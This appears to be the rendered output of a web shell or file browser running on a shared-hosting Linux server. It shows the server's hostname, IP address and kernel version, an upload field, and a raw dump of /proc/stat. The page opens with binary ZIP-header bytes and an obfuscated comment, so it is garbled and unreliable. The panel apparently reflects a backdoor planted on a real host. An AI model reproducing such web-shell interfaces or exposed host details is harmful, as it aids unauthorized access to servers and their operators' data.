PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /proc/
Server: Linux tamarillo.o2switch.net 4.18.0-553.33.1.lve.el8.x86_64 #1 SMP Tue Dec 24 22:25:00 UTC 2024 x86_64
IP: 109.234.166.180
Choose File :

Url:
Dir : //proc/stat

cpu  6932345103 22324306134 2583867346 69978447320 268360408 300187307 250022817 0 0 0
cpu0 41506288 703819831 18354321 500366919 1653398 5989515 11906052 0 0 0
cpu1 41266429 692798908 17324770 522583996 1890893 5175198 3187685 0 0 0
cpu2 55070265 622625057 20569441 575886043 2089734 4894182 2956074 0 0 0
cpu3 48895285 594850691 25941265 585970211 1583613 5171502 21838115 0 0 0
cpu4 43071723 609843446 17385972 604523413 2105595 5096254 2078787 0 0 0
cpu5 47983835 600874976 18055876 608447815 2423091 4854869 1480659 0 0 0
cpu6 50118220 596240113 18770398 610377511 2411222 4800074 1414240 0 0 0
cpu7 51588311 588540591 19179775 616306952 2437589 4728574 1348347 0 0 0
cpu8 52426227 583502824 19294712 620841463 2373143 4691659 996935 0 0 0
cpu9 54049117 573886351 19901737 628095162 2404804 4702512 1058298 0 0 0
cpu10 54627444 567296530 20036925 634085892 2383216 4632339 1026192 0 0 0
cpu11 55547261 554443636 20167775 645813831 2285773 4602682 1097420 0 0 0
cpu12 52543866 546825557 18905794 657596635 2408089 4521899 1131261 0 0 0
cpu13 57055286 527975647 19881898 670556474 2746424 4524695 1207480 0 0 0
cpu14 54742174 519253611 19475059 681845474 2802774 4537744 1228690 0 0 0
cpu15 61172910 497188210 21232972 695629704 2868847 4448934 1284296 0 0 0
cpu16 67669489 474822453 23392510 709185765 2860978 4395824 1453846 0 0 0
cpu17 76082781 444350920 26115673 728062669 3051484 4339647 1679765 0 0 0
cpu18 80961771 424286063 28274621 741044545 3093117 4254878 1712074 0 0 0
cpu19 90339223 390220487 32619431 761246138 2875040 4232624 1992103 0 0 0
cpu20 38449788 703241218 16989605 519079661 1404257 4950523 644980 0 0 0
cpu21 27674804 689663872 13509558 546721506 1693622 4794569 646223 0 0 0
cpu22 40317675 615685504 16598435 604894423 1745238 4615499 706179 0 0 0
cpu23 39160288 609368715 16299177 612694861 1763933 4559645 691273 0 0 0
cpu24 20867280 605005191 11102285 640408086 1732081 4607617 724441 0 0 0
cpu25 39197632 598460446 16361992 623526072 1735923 4579466 687831 0 0 0
cpu26 39325346 594622363 16321589 627216457 1804810 4581875 684409 0 0 0
cpu27 38914706 585656154 16141688 636736420 1761848 4525646 681358 0 0 0
cpu28 41128366 580235269 17042894 639082941 1813521 4523614 698670 0 0 0
cpu29 42494057 569623692 17469160 647930798 1787919 4480713 709216 0 0 0
cpu30 40467907 562632780 17100406 657158169 1846837 4455442 724331 0 0 0
cpu31 44931692 550888665 18297674 663411101 1800276 4384802 732465 0 0 0
cpu32 48374316 539606495 19297842 670101604 1905313 4409599 722761 0 0 0
cpu33 48823719 522926287 19490077 685931447 1978385 4373305 753273 0 0 0
cpu34 50943259 509746244 20008506 696481573 1938781 4351633 790039 0 0 0
cpu35 57613279 487938094 22541668 708900704 2131129 4269835 854963 0 0 0
cpu36 56615939 465781156 23395398 730809040 2288660 4210217 918731 0 0 0
cpu37 67273455 434181733 26606442 748408285 2353687 4162482 1081955 0 0 0
cpu38 71606435 413463160 28725530 762250638 2474686 4122686 1229419 0 0 0
cpu39 82387770 376541180 33443180 783122846 2578965 4093256 1634771 0 0 0
cpu40 112075462 6243517 38384958 1103151096 3822526 3088928 13405737 0 0 0
cpu41 101201150 5559259 36429980 1125141834 4346036 2726722 5733246 0 0 0
cpu42 110396191 4707117 39517740 1107896908 4606039 3271228 10943062 0 0 0
cpu43 113760263 6388694 38109342 1113991651 4562712 2649515 2101789 0 0 0
cpu44 136551108 6233197 49290148 1045696855 3183192 7335725 33437559 0 0 0
cpu45 115490843 8587195 39637224 1108593073 4522720 2823231 1974291 0 0 0
cpu46 121421842 6193286 40571003 1103897358 5047298 2920356 1803790 0 0 0
cpu47 123025979 4744397 41239850 1103537217 4843434 2774233 1730142 0 0 0
cpu48 123036503 4276363 41787024 1103406590 4836609 2773687 1705184 0 0 0
cpu49 124892336 4150551 42633222 1100934329 4750070 2771053 1690959 0 0 0
cpu50 125746669 3758125 42190969 1100716364 4883541 2873882 1653259 0 0 0
cpu51 129168884 3925250 44187720 1095579344 4592698 2734731 1642210 0 0 0
cpu52 126381673 4810921 41988218 1076759435 3646051 3208216 24980028 0 0 0
cpu53 126586279 8471195 44455619 1086779800 8602793 4112704 2525983 0 0 0
cpu54 130975484 6599661 44545850 1062977661 6472688 3813060 26299994 0 0 0
cpu55 135590360 8974569 46199372 1079395342 6529732 2991140 1881983 0 0 0
cpu56 139373290 6413707 48195817 1076375995 6248573 2990798 1914311 0 0 0
cpu57 144120740 4987408 49955071 1071243882 6228402 3019668 1906662 0 0 0
cpu58 150430348 4451886 52200843 1062938816 6202954 3206515 2081588 0 0 0
cpu59 159298618 4453913 56815965 1049098505 6353676 3329692 2188162 0 0 0
cpu60 115253268 5573571 52576544 1101851424 3396956 2529166 1460033 0 0 0
cpu61 95641983 4086084 41172052 1133840944 3571747 2380778 1368934 0 0 0
cpu62 104416986 4101808 39481508 1126106507 3931785 2539304 1418725 0 0 0
cpu63 106953210 4058455 42621785 1120952884 3630479 2440594 1416214 0 0 0
cpu64 118176157 4377089 46728656 1105473250 3543667 2457740 1182307 0 0 0
cpu65 105271723 3833877 40550680 1125194729 3423522 2390593 1324993 0 0 0
cpu66 105659143 3813008 38814418 1126157701 3761113 2503116 1382790 0 0 0
cpu67 114194569 3638331 47145039 1109926481 3420761 2441857 1389722 0 0 0
cpu68 109377518 3773892 41879695 1119673850 3570983 2436112 1411761 0 0 0
cpu69 111400378 4065057 42865410 1116465990 3501736 2453541 1431031 0 0 0
cpu70 111528111 3674725 40547493 1118443267 3804797 2582220 1516725 0 0 0
cpu71 115447654 3949969 43466053 1111516188 3813189 2498162 1455634 0 0 0
cpu72 102062763 3236630 40826123 1127508089 3784900 2406376 1500848 0 0 0
cpu73 118514504 3859569 45357995 1106329950 3781587 2544850 1499390 0 0 0
cpu74 121401315 4043917 44398131 1103905474 4057294 2684096 1543372 0 0 0
cpu75 118826809 3979624 41377051 1109195462 4444244 2591570 1576089 0 0 0
cpu76 130356004 4257625 48763009 1090288108 3990662 2654345 1620612 0 0 0
cpu77 132480731 4179874 50549240 1086049253 4089057 2716744 1721734 0 0 0
cpu78 134455279 4260493 50860600 1083041661 4445138 2866167 1814982 0 0 0
cpu79 138117318 4698166 53925858 1075080773 4826315 3006825 1991335 0 0 0
intr 230382021304 55 5 0 0 0 0 0 0 1 0 0 0 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 31380756 7387 7387 2730011310 7244 18136273 20086767 26957017 26900852 22624845 26776256 26995721 27123054 28032272 29426446 30290202 31507655 33427553 34594402 36125968 38909276 40964071 45038902 46701143 50193862 46491256 47738535 54328561 53356863 54158578 52858863 53961237 54198685 0 0 0 0 0 0 0 0 53972838 55671816 57297919 59097493 59296314 62041745 63891069 66936052 70182918 73635318 75969304 79748380 33410859 34451967 41300572 33181204 33822711 40070549 42480836 43711605 44515450 44874832 45258905 45188005 43410032 46305352 46009198 48256073 52185621 56543564 58885923 60905885 59341249 61682096 68410344 66079089 58967375 61908674 69032685 72528207 73130081 73403271 74429451 74592826 65152223 78761860 72448557 81862740 90777821 97117457 100805592 105473778 12574473 14259689 20237383 20363091 17991316 20590842 20831037 21338606 21860958 23024564 23833809 24859857 26329724 27303562 28322606 30346837 32097638 34862412 36049265 38833367 30698976 32355604 38329732 38099343 38673636 38270430 39297972 39937368 39935579 41405436 42607629 44179234 44806207 46714843 48125103 50702497 53234506 56132844 57947216 61263366 26125262 26020898 31312216 25215691 23436516 27247050 29101848 30726315 32015429 32837951 33851403 34123405 32238851 34706616 34056990 35724741 38786604 42060279 43758143 45405424 37644665 39562187 45412061 43487290 40568882 38521433 42802856 45668469 47358034 48685590 50499227 51574100 45950865 53749182 48895647 53603231 59923257 65647979 69795407 74124210 201925288 185443730 181498214 187578964 181241640 252574569 209877234 183911708 193632427 278207274 206870421 272159353 3874 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 2 2 2 2 2 2 2 0 2 0 2 2 2 2 2 2 2 2781286132 492665884 3496428584 3562174918 3453798813 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 307488312669
btime 1768957273
processes 1397784973
procs_running 10
procs_blocked 0
softirq 356809236471 10 123206495 34619852 124002713 1669105779 0 1572934089 1073110606 10665950 14272705